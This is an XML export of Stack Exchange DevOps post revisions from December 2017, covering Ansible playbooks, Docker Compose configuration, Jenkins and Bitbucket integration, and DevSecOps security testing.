  <row Id="9299" PostHistoryTypeId="5" PostId="2969" RevisionGUID="92f68f24-86a1-4c7a-b118-f7018ae5ee3f" CreationDate="2017-12-27T23:10:57.713" UserId="323" Comment="added 1137 characters in body" Text="I've got a number of ansible playbooks that I come back to from time to time, some have required and optional arguments that I forget about from time to time.&#xD;&#xA;&#xD;&#xA;I know there's a list-tags, list-hosts and list-tasks option baked into the ansible-playbook command, there's no list-args, which would be super useful, but maybe it means I'm using ansible wrong?&#xD;&#xA;&#xD;&#xA;So what strategies do devops engineers use to manage &quot;api's&quot; for ansible playbooks? Maybe just a recursive grep command to list non-standard args that aren't registered variables like this&#xD;&#xA;&#xD;&#xA;    grep -or &quot;{{[a-zA-Z_ ]\+}}&quot; roles/.  | grep -v &quot;ansible&quot; | grep -v &quot;item&quot;&#xD;&#xA;&#xD;&#xA;only better.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;For instance, I've got a program I want to put on a device called &quot;showstopper&quot;, but I specify the version with extra_args and if I don't specify the version, it doesn't get installed.&#xD;&#xA;&#xD;&#xA;     - name: download showstopper from artifactory&#xD;&#xA;       local_action: get_url url=https://example.net/artifactory/generic-release-local/com/cdw/mans/silo/showstopper/showstopper-{{ showstopper_version }}.noarch.rpm dest=/tmp validate_certs=no&#xD;&#xA;       run_once: true&#xD;&#xA;       when: showstopper_version is defined&#xD;&#xA;    &#xD;&#xA;     - name: copy showstopper to silo&#xD;&#xA;       copy: src=/tmp/showstopper-{{ showstopper_version }}.noarch.rpm dest=/tmp&#xD;&#xA;       when: showstopper_version is defined&#xD;&#xA;    &#xD;&#xA;     - name: Install showstopper&#xD;&#xA;       yum: name=/tmp/showstopper-{{ showstopper_version }}.noarch.rpm state=present&#xD;&#xA;       notify:&#xD;&#xA;        - start cron&#xD;&#xA;       when: showstopper_version is defined&#xD;&#xA;&#xD;&#xA;This works good when I run it the way I intended to run it, but in 2 months when I want to run it on another machine, I forgot to specify showstopper_version and the last few machines I've built went out without that configured on it.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9300" PostHistoryTypeId="5" PostId="1393" RevisionGUID="c46dab76-d9cc-44a3-92ce-fdcd265313f2" CreationDate="2017-12-27T23:48:48.833" UserId="210" Comment="edited body" Text="Quoting the standalone ChaosMonkey [README](https://github.com/netflix/chaosmonkey):&#xD;&#xA;&#xD;&#xA;&gt; Requirements&#xD;&#xA;&gt; ------------&#xD;&#xA;&gt; &#xD;&#xA;&gt; This version of Chaos Monkey is fully integrated with Spinnaker, the&#xD;&#xA;&gt; continuous delivery platform that we use at Netflix. You must be&#xD;&#xA;&gt; managing your apps with Spinnaker to use Chaos Monkey to terminate&#xD;&#xA;&gt; instances.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Chaos Monkey should work with any backend that Spinnaker supports&#xD;&#xA;&gt; (AWS, Google Compute Engine, Azure, Kubernetes, Cloud Foundry). It has&#xD;&#xA;&gt; been tested with AWS, GCE, and Kubernetes.&#xD;&#xA;&#xD;&#xA;As said there, you'll find supported Spinnaker platforms on https://www.spinnaker.io&#xD;&#xA;&#xD;&#xA;Your quote comes from the quickstart documentation of Symian Army, as for any quickstart it is opinionated to keep things as simple as possible, if you don't match the quickstart environment, you will have to dig deeper in the documentations to adapt to your needs." ContentLicense="CC BY-SA 3.0" />
  <row Id="9309" PostHistoryTypeId="2" PostId="2975" RevisionGUID="a937c643-d772-455f-a2bb-cc21ae8b0323" CreationDate="2017-12-28T09:43:17.827" UserId="5890" Text="Issue here is that price for bandwidth in APAC 10 times higher than US, so probably you should multiply Buddybuild prices by 10 and ask them enterprise support keeping result numbers in you mind. I just did a calculations intended to provide you service and I got around 8k/month for 10 sim builds. Can pm me if you are interested." ContentLicense="CC BY-SA 3.0" />
  <row Id="9315" PostHistoryTypeId="50" PostId="1931" RevisionGUID="66a8e5ed-9079-43b8-be60-8d81fbc8d35e" CreationDate="2017-12-28T13:57:08.927" UserId="-1" />
  <row Id="9316" PostHistoryTypeId="2" PostId="2976" RevisionGUID="3e23f20a-2a6a-4813-a7b2-3de3a1c4d49f" CreationDate="2017-12-28T15:12:51.267" UserId="4629" Text="Assuming you've verified the URL to the Jenkins job is correct... and assuming you've configured everything correctly... I've not used this particular plugin but I do something similar on a current project with a slightly different - not much though - tech stack; BitBucket (onpremise) to Jenkins to SonarQube... anyway, I'd imagine you'd need to verify that you're passing your pull request ID and that you have the appropriate branch specifier set  - you should be able to see the Jenkins console - the job is not running at all, however - did you configure a Parameterized Job in Jenkins, pass in the Pull Request ID to the Job and verify your credentials back to BitBucket? You can go the BitBucket and test connection to Jenkins and vice-versa to confirm accounts are correct. &#xD;&#xA;&#xD;&#xA;Re: the requirement of the repo to be cloned - don't think this has anything to do with it... &#xD;&#xA;&#xD;&#xA;you can send your request to RequestBin - https://requestb.in/ - to inspect that your parameters are getting sent correctly... &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9317" PostHistoryTypeId="2" PostId="2977" RevisionGUID="714f3a31-e74f-4a80-9065-1b56bfffb084" CreationDate="2017-12-28T15:27:39.710" UserId="4629" Text="So... I had this issue and solved it by making sure I passed the pull request ID to the Jenkins job and the Branch ID from Pull Request. I've attached a screen shot. [![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And this as well:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/0KR1m.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/1RUrV.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;you can *absolutely* control what Jenkins pulls from your SCM w/the proper configurations - these should get you there. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9318" PostHistoryTypeId="2" PostId="2978" RevisionGUID="9e6fbccd-9a7c-462d-9a96-8c6e9c6c28f7" CreationDate="2017-12-28T16:32:03.723" UserId="5842" Text="I am using an ansible playbook to configure Apache for a list of sites.   The playbook has to copy the virtual host configuration template for each site into place, and then enable each site using `a2ensite`:&#xD;&#xA;&#xD;&#xA;	- name: Install apache site conf&#xD;&#xA;	  template: src=apache-sites-{{item}}-conf.j2 dest=/etc/apache2/sites-available/{{item}}.conf mode=0644&#xD;&#xA;	  with_items:&#xD;&#xA;	  - sitea&#xD;&#xA;	  - siteb&#xD;&#xA;	  - sitec&#xD;&#xA;	  - sited&#xD;&#xA;	- name: Enable site apache conf&#xD;&#xA;	  command: a2ensite {{item}}&#xD;&#xA;	  args:&#xD;&#xA;    	creates: /etc/apache2/sites-enabled/{{item}}.conf&#xD;&#xA;	  with_items:&#xD;&#xA;	  - sitea&#xD;&#xA;	  - siteb&#xD;&#xA;	  - sitec&#xD;&#xA;	  - sited&#xD;&#xA;&#xD;&#xA;I don't like having to repeat the same list for each task.   How to I configure the playbook to execute both tasks with the same list of items?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9319" PostHistoryTypeId="1" PostId="2978" RevisionGUID="9e6fbccd-9a7c-462d-9a96-8c6e9c6c28f7" CreationDate="2017-12-28T16:32:03.723" UserId="5842" Text="Execute multiple Ansible tasks with the same list of items" ContentLicense="CC BY-SA 3.0" />
  <row Id="9320" PostHistoryTypeId="3" PostId="2978" RevisionGUID="9e6fbccd-9a7c-462d-9a96-8c6e9c6c28f7" CreationDate="2017-12-28T16:32:03.723" UserId="5842" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9321" PostHistoryTypeId="2" PostId="2979" RevisionGUID="89c4099e-9dfd-48f1-9d38-3016fa400de4" CreationDate="2017-12-28T16:59:21.597" UserId="3509" Text="Make separate tasks file `make_site.yml`:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: Install apache site conf&#xD;&#xA;      template:&#xD;&#xA;        src: apache-sites-{{ site }}-conf.j2&#xD;&#xA;        dest: /etc/apache2/sites-available/{{ site }}.conf&#xD;&#xA;        mode: 0644&#xD;&#xA;    &#xD;&#xA;    - name: Enable site apache conf&#xD;&#xA;      command: a2ensite {{ site }}&#xD;&#xA;      args:&#xD;&#xA;        creates: /etc/apache2/sites-enabled/{{ site }}.conf&#xD;&#xA;&#xD;&#xA;And in your playbook:&#xD;&#xA;&#xD;&#xA;    - include_tasks: make_site.yml&#xD;&#xA;      with_items:&#xD;&#xA;        - sitea&#xD;&#xA;        - siteb&#xD;&#xA;        - sitec&#xD;&#xA;        - sited&#xD;&#xA;      loop_control:&#xD;&#xA;        loop_var: site" ContentLicense="CC BY-SA 3.0" />
  <row Id="9322" PostHistoryTypeId="2" PostId="2980" RevisionGUID="b072db46-a659-4cd7-ac6b-df21225ae330" CreationDate="2017-12-28T17:05:06.370" UserId="5879" Text="Context: docker-compose to start several containers, including Gunicorn that calls a Flask app. I'm using an environment file `web/env.gunicorn` to store my Gunicorn startup configuration. This file contains&#xD;&#xA;&#xD;&#xA;    GUNICORN_CMD_ARGS=&quot;--bind=127.0.0.1:8001 --workers=3&quot;&#xD;&#xA;&#xD;&#xA;The problem is that `GUNICORN_CMD_ARGS` is not processed correctly somewhere in the pipeline. The error that I get when running `docker logs gunicorn` is&#xD;&#xA;&#xD;&#xA;    Error: '8001 --workers=3' is not a valid port number.&#xD;&#xA;&#xD;&#xA;The question is, where in my setup are my assumptions wrong, thereby causing the environment variable to be mangled? The environment variable is accepted when run manually in a terminal. The docker compose file looks as follows&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;    #  nginx:&#xD;&#xA;    #    image: nginx:latest&#xD;&#xA;    #    ports:&#xD;&#xA;    #      - &quot;80:80&quot;&#xD;&#xA;    #    volumes:&#xD;&#xA;    #      - ./nginx:/etc/nginx/conf.d&#xD;&#xA;    #    depends_on:&#xD;&#xA;    #      - web&#xD;&#xA;&#xD;&#xA;      web:&#xD;&#xA;        build: ./web&#xD;&#xA;        container_name: gunicorn&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8001:8001&quot;&#xD;&#xA;        environment:&#xD;&#xA;          - APP_CONFIG_FILE=../config/development.py&#xD;&#xA;        env_file:&#xD;&#xA;          - 'web/env.gunicorn'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        command: gunicorn thymedata:app&#xD;&#xA;        depends_on:&#xD;&#xA;          - influxdb&#xD;&#xA;          - grafana&#xD;&#xA;        &#xD;&#xA;      influxdb:&#xD;&#xA;        image: influxdb:latest&#xD;&#xA;        container_name: influxdb&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8086:8086&quot;&#xD;&#xA;        env_file:&#xD;&#xA;          - 'influxdb/env.influxdb'&#xD;&#xA;          - 'influxdb/secrets.influxdb'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - influxdb-data:/var/lib/influxdb&#xD;&#xA;&#xD;&#xA;      grafana:&#xD;&#xA;        image: grafana/grafana:latest&#xD;&#xA;        container_name: grafana&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        env_file:&#xD;&#xA;          - 'grafana/env.grafana'&#xD;&#xA;          - 'grafana/secrets.grafana'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - grafana-data:/var/lib/grafana&#xD;&#xA;        depends_on:&#xD;&#xA;          - influxdb&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      backend:&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      influxdb-data:&#xD;&#xA;      grafana-data:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9323" PostHistoryTypeId="1" PostId="2980" RevisionGUID="b072db46-a659-4cd7-ac6b-df21225ae330" CreationDate="2017-12-28T17:05:06.370" UserId="5879" Text="Why is environment variable mangled in docker compose environment file" ContentLicense="CC BY-SA 3.0" />
  <row Id="9324" PostHistoryTypeId="3" PostId="2980" RevisionGUID="b072db46-a659-4cd7-ac6b-df21225ae330" CreationDate="2017-12-28T17:05:06.370" UserId="5879" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9325" PostHistoryTypeId="2" PostId="2981" RevisionGUID="6a1346fc-39ea-488e-a099-76361533508a" CreationDate="2017-12-28T17:30:45.480" UserId="5868" Text="I don't have currently any Jenkins instance to test it but what worked 4 years ago is that when you rename tab if you place a space (&quot; &quot;) symbol as name prefix and save it does not show up (since HTML hides trailing and leading spaces) but it takes part in alphabet sorting. So you could move part of tabs to the left or right, or even mix them all as you wish." ContentLicense="CC BY-SA 3.0" />
  <row Id="9326" PostHistoryTypeId="5" PostId="2977" RevisionGUID="daa89991-b450-4632-8f5f-c70f9d3f62d6" CreationDate="2017-12-28T17:55:12.163" UserId="4629" Comment="added link" Text="So... I had this issue and solved it by making sure I passed the pull request ID to the Jenkins job and the Branch ID from Pull Request. I've attached a screen shot. [![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And this as well:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/0KR1m.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/1RUrV.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;you can *absolutely* control what Jenkins pulls from your SCM w/the proper configurations - these should get you there. &#xD;&#xA;&#xD;&#xA;Also: I have polling disabled - you really don't want to use polling as it is expensive - configure a BitBucket PullRequest plugin to call your Jenkins job upon creation as you are doing and you shouldn't *need* to poll, although I don't know that particular plugin... this one is great:  &#xD;&#xA;&#xD;&#xA;https://github.com/tomasbjerre/pull-request-notifier-for-bitbucket&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="9327" PostHistoryTypeId="5" PostId="2976" RevisionGUID="43eaeea3-22fe-4ebc-b55c-4724d80fac9f" CreationDate="2017-12-28T18:01:55.293" UserId="4629" Comment="added stuff" Text="if that is the error you're getting, it is clearly an issue with BitBucket Authentication as that is in the stack trace... the specific API call which is failing is displayed and you can see it is in the authentication process... as to why it is running successfully when invoked manually - it would have to do with a configuration upstream somewhere - check the format of your repo and make sure you use this pattern:&#xD;&#xA;&#xD;&#xA;https://user:password@bitbucket.org/user/project_name.git&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9328" PostHistoryTypeId="2" PostId="2982" RevisionGUID="f29121f9-3fd1-4f6b-8633-5683f5c74058" CreationDate="2017-12-28T18:07:57.903" UserId="4629" Text="I was under the impression DevSecOps was a mindset, not a team - if you have a Dev(Sec)Ops &quot;team&quot; you're doing it wrong... I'm trying to wrap my head around putting two &quot;DevOps Engineers&quot; together and calling them a &quot;DevOps Team.&quot; &#xD;&#xA;&#xD;&#xA;We have development teams, SCM, Application Security and Systems Engineers *all working in tandem for a rapid deployment/release model for pushing code and configuration/system changes through to a given end point - either staging or production*&#xD;&#xA;&#xD;&#xA;This has *nothing* to do with any &quot;devOps&quot; engineers, as such. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9329" PostHistoryTypeId="5" PostId="2966" RevisionGUID="ad8524b3-5f8f-4b4e-bcbd-32cfd75c9936" CreationDate="2017-12-28T18:18:18.873" UserId="4115" Comment="fix bulleted list formatting" Text="Yes, this is pretty easy with Jenkinsfiles with no need for any third-party plugins or anything along those lines: use the [built-in Pipeline build step](https://jenkins.io/doc/pipeline/steps/pipeline-build-step/).&#xD;&#xA;&#xD;&#xA;I use this to trigger builds of projects in a dependency chain, so that after one project builds successfully, other projects that depend on it will pull in the updated dependency and build against it.&#xD;&#xA;&#xD;&#xA;Here is what this looks like in a Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    build repoName&#xD;&#xA;&#xD;&#xA;where `repoName` is a variable containing the name of the repository you wish to build.&#xD;&#xA;&#xD;&#xA;Things can get a little more complicated, such as if you're using folders or Multibranch Pipelines:&#xD;&#xA;&#xD;&#xA;    build &quot;${projectName}/${repoName}/${branchName}&quot;&#xD;&#xA;&#xD;&#xA;This example builds a job within a Multibranch project where the variables are:&#xD;&#xA;&#xD;&#xA; * `projectName` - the name of my Multibranch project&#xD;&#xA; * `repoName` - the name of the repository&#xD;&#xA; * `branchName` - the name of the branch to build, usually `master`&#xD;&#xA;&#xD;&#xA;Or this example builds a job with parameters and also triggers the build asynchronously (parent job won't wait for child job to complete before moving on to the next step):&#xD;&#xA;&#xD;&#xA;    build(&#xD;&#xA;      jobName,&#xD;&#xA;      wait: false,&#xD;&#xA;      parameters: [&#xD;&#xA;        [&#xD;&#xA;          $class: 'BooleanParameterValue',&#xD;&#xA;          name: 'someBooleanParameter',&#xD;&#xA;          value: true,&#xD;&#xA;        ],&#xD;&#xA;        [&#xD;&#xA;          $class: 'StringParameterValue',&#xD;&#xA;          name: 'someStringParameter',&#xD;&#xA;          value: 'some string value',&#xD;&#xA;        ],&#xD;&#xA;      ],&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;As you can see, the invocation of `build` can get relatively complex.  See the documentation linked above for more complete information." ContentLicense="CC BY-SA 3.0" />
  <row Id="9330" PostHistoryTypeId="2" PostId="2983" RevisionGUID="e898415e-19cc-4862-9e21-649974b47ef1" CreationDate="2017-12-28T18:25:41.093" UserId="4629" Text="This is a somewhat general question by design, intended for discussion of process. At my current (and all previous) companies we had issues with releasing insecure software into production. This cut across the divide from mobile, web, API's, internal, external, critical and non-critical applications and systems. If we built it, it had/has security issues... just like *your* company. In addition, we lack support stack (qualified application security engineers who &quot;knew code&quot; and not just glorified pen testers who didn't know JavaScript from Java) so we could not scale services as needed. Hence automated software security scanning in the SDLC and now in the DevSecOps CI/CD pipelines. We face the issues of:&#xD;&#xA;&#xD;&#xA; 1. Service Level Agreements - our dev teams want/need results in minimal time, we all know that's not happening with either DAST or SAST tools without heavy configuration.&#xD;&#xA;&#xD;&#xA; 2. Allowing teams to choose their own language and not even having static code support... leaving us with DAST if applicable or, ugh, pen tests, which in my view are essentially useless. &#xD;&#xA;&#xD;&#xA; We need to shift software security &quot;left&quot; - from point of inception, not wait until code is in production and hope we detect the vulnerabilities - I am sure someone will find them, most likely *not* the pen test team we are paying huge money for, however. &#xD;&#xA;&#xD;&#xA; Automation of static and dynamic tools, properly configured, driven off a threat model seem to be our only options to get ahead of the game. We all know &quot;developer education&quot; is a lost cause. &#xD;&#xA;&#xD;&#xA; How is your company/team solving this, assuming they even are or recognize it as a problem to address? " ContentLicense="CC BY-SA 3.0" />
  <row Id="9331" PostHistoryTypeId="1" PostId="2983" RevisionGUID="e898415e-19cc-4862-9e21-649974b47ef1" CreationDate="2017-12-28T18:25:41.093" UserId="4629" Text="Software Security Testing in a DevSecOps Pipeline" ContentLicense="CC BY-SA 3.0" />
  <row Id="9332" PostHistoryTypeId="3" PostId="2983" RevisionGUID="e898415e-19cc-4862-9e21-649974b47ef1" CreationDate="2017-12-28T18:25:41.093" UserId="4629" Text="&lt;process&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9333" PostHistoryTypeId="2" PostId="2984" RevisionGUID="9345abfb-a876-40b2-9213-dd9ed4ef80d8" CreationDate="2017-12-28T19:39:14.820" UserId="5898" Text="I am refactoring my local environment from PHP/apache/MAMP-pro to PHP/apache/Docker. What is the proper configuration to implement a reverse proxy (in order to maintain the named-url site functionality of MAMP-pro) in this environment without the use of third party tools (IE Caddy server or NGINX)" ContentLicense="CC BY-SA 3.0" />
  <row Id="9334" PostHistoryTypeId="1" PostId="2984" RevisionGUID="9345abfb-a876-40b2-9213-dd9ed4ef80d8" CreationDate="2017-12-28T19:39:14.820" UserId="5898" Text="Configuration for reverse proxies in a local Docker/Apache/PHP environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="9335" PostHistoryTypeId="3" PostId="2984" RevisionGUID="9345abfb-a876-40b2-9213-dd9ed4ef80d8" CreationDate="2017-12-28T19:39:14.820" UserId="5898" Text="&lt;docker&gt;&lt;php&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9336" PostHistoryTypeId="6" PostId="2980" RevisionGUID="0c929aaa-f7dd-4498-b736-965c88f1671e" CreationDate="2017-12-28T20:48:01.707" UserId="14" Comment="tag added by request (https://devops.meta.stackexchange.com/questions/250/request-and-question-about-application-tags-gunicorn-flask-in-web-applications)" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9337" PostHistoryTypeId="2" PostId="2985" RevisionGUID="7bfb87ec-137c-49bd-ab74-4a7313edd962" CreationDate="2017-12-28T22:06:06.267" UserId="5902" Text="Here is my solution: (bitbucket-pipelines.yml)&#xD;&#xA;&#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - export DOCKER_COMPOSE_VERSION=1.18.0&#xD;&#xA;              - export DOCKER_COPOSE_URL=https://github.com/docker/compose/releases/download/${DOCKER_COMPOSE_VERSION}/docker-compose-$(uname -s)-$(uname -m)&#xD;&#xA;              - curl -L $DOCKER_COPOSE_URL &gt; docker-compose&#xD;&#xA;              - chmod +x docker-compose&#xD;&#xA;              - mv docker-compose /usr/local/bin&#xD;&#xA;              - docker-compose up&#xD;&#xA;              # ....&#xD;&#xA;&#xD;&#xA;easy as 1-2-3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9338" PostHistoryTypeId="5" PostId="2985" RevisionGUID="721e7bbe-0a96-4c3d-bc63-521271da885c" CreationDate="2017-12-28T22:25:18.083" UserId="5902" Comment="added 10 characters in body" Text="Here is my solution: (bitbucket-pipelines.yml)&#xD;&#xA;&#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - export DOCKER_COMPOSE_VERSION=1.18.0&#xD;&#xA;              - export DOCKER_COPOSE_URL=https://github.com/docker/compose/releases/download/${DOCKER_COMPOSE_VERSION}/docker-compose-$(uname -s)-$(uname -m)&#xD;&#xA;              - curl -L $DOCKER_COPOSE_URL &gt; docker-compose&#xD;&#xA;              - chmod +x docker-compose&#xD;&#xA;              - mv docker-compose /usr/local/bin&#xD;&#xA;              - docker-compose build --force-rm --no-cache --pull&#xD;&#xA;&#xD;&#xA;easy as 1-2-3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9339" PostHistoryTypeId="2" PostId="2986" RevisionGUID="2bb858be-10f2-4281-820d-ea79698f6789" CreationDate="2017-12-28T22:40:20.740" UserId="5899" Text="This is a little bit of a general question as you said, so my answer is a little general too.  We have always made security a part of the development process and we enforce policy to make sure our code is secure.  This would include forcing developers to only use languages that can work with your security tools.  This needs to be part of the review process.  Part of this could be in your automated testing process too.  &#xD;&#xA;&#xD;&#xA;In my experience many DevOps companies view security as an afterthought because of the fear of slowing down development.  This runs counter to the reason companies adopt DevOps in the first place.  As you said, security must shift left in the development process.  I believe this is in line with DevOps / agile principles.  Rather than waiting until a product is complete to think about security.  Trying to secure something once it is built or already breached will be far more costly in the long run.  &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;John Walsh&#xD;&#xA;Conjur&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9340" PostHistoryTypeId="2" PostId="2987" RevisionGUID="b98069f4-554e-437d-8492-74191d5a60c0" CreationDate="2017-12-28T22:50:55.083" UserId="491" Text="You can certainly show a code coverage badge in a bitbucket repository, but it would have to be from an external source like jenkins, codeclimate, etc. &#xD;&#xA;&#xD;&#xA;According to your link, if you are using pipelines they now show a code coverage badge on the [project overview page][1]. If you want to add that to your README or display it somewhere external, that functionality has not been implemented.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/site/master/issues/12797/provide-project-status-build-status-badges#comment-34438504" ContentLicense="CC BY-SA 3.0" />
  <row Id="9342" PostHistoryTypeId="4" PostId="2967" RevisionGUID="ff93cd4d-297d-4425-befb-014ddf73091d" CreationDate="2017-12-28T23:52:38.760" UserId="210" Comment="edited title" Text="Why are unnamed volumes created when running docker-compose?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9343" PostHistoryTypeId="4" PostId="2967" RevisionGUID="d27f2df3-9280-405a-a7a5-4dfa875eb216" CreationDate="2017-12-29T00:16:00.367" UserId="210" Comment="edited title" Text="Why are unnamed volumes created when `docker-compose up` is run and do these double after issuing `docker-compose down` and subsequently `up`?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9345" PostHistoryTypeId="2" PostId="2988" RevisionGUID="29aa1298-e100-448d-a0ab-67a17ff190f4" CreationDate="2017-12-29T01:07:19.197" UserId="210" Text="Research indicated that the [anonymous volumes][1] were created by `influxdb` and `grafana/grafana`. &#xD;&#xA;&#xD;&#xA;&gt; Anonymous volumes are not given an explicit name when they are first&#xD;&#xA;&gt; mounted into a container, so Docker gives them a random name that is&#xD;&#xA;&gt; guaranteed to be unique within a given Docker host. Besides the name,&#xD;&#xA;&gt; named and anonymous volumes behave in the same ways.&#xD;&#xA;&#xD;&#xA;**Results**&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      influxdb:&#xD;&#xA;        image: influxdb:latest&#xD;&#xA;        container_name: influxdb&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8086:8086&quot;&#xD;&#xA;        #env_file:&#xD;&#xA;        #  - 'env.influxdb'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - influxdb-data:/var/lib/influxdb&#xD;&#xA;    &#xD;&#xA;      grafana:&#xD;&#xA;        image: grafana/grafana:latest&#xD;&#xA;        container_name: grafana&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        #env_file:&#xD;&#xA;        #  - 'env.grafana'&#xD;&#xA;        #  - 'secrets.grafana'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - grafana-data:/var/lib/grafana&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      backend:&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      influxdb-data:&#xD;&#xA;      grafana-data:&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               604a07040367512b09c618c6dcc71a7f55390c9c23de6ab08be7466414ed62da&#xD;&#xA;    local               7f4b630073b31b6e772d3edef6da81b48643525edfc34281ea13fbd6b86ec270&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and everytime when `docker-compose down` and subsequenlty `up` is run the number of anonymous volumes doubles.&#xD;&#xA;&#xD;&#xA;*What will happen if nginx will be pulled instead of influxdb and grafana?*&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and after `docker-compose down &amp;&amp; docker-compose up -d`?&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;It looks like that certain images created the additional anonymous volumes. Let's replace influxdb with nginx and use grafana.&#xD;&#xA;&#xD;&#xA;    local               ded79236849c1659588d65adc4357216436243c6ddfe9f940ca3e64d7d518781&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;    local               e390662e3691b029dc0f7c5d2dcf89ad417cbec887d8092fd2b488600ff8549e&#xD;&#xA;    local               e7078bfd4c5f85c70f7c351414cc3e75abe1a4798008f5a861a1755e1d708c39&#xD;&#xA;    local               f7b148a131ad0f6e70bcb28bf4c7fb8e489d9e4041820d3db1b0404c6d5e7868&#xD;&#xA;&#xD;&#xA;The number of volumes increases after restart. Let's replace influxdb with nginx and revert the grafana to nginx:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and it remains two if restarted.&#xD;&#xA;&#xD;&#xA;It looks like that grafana is causing the issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/admin/volumes/" ContentLicense="CC BY-SA 3.0" />
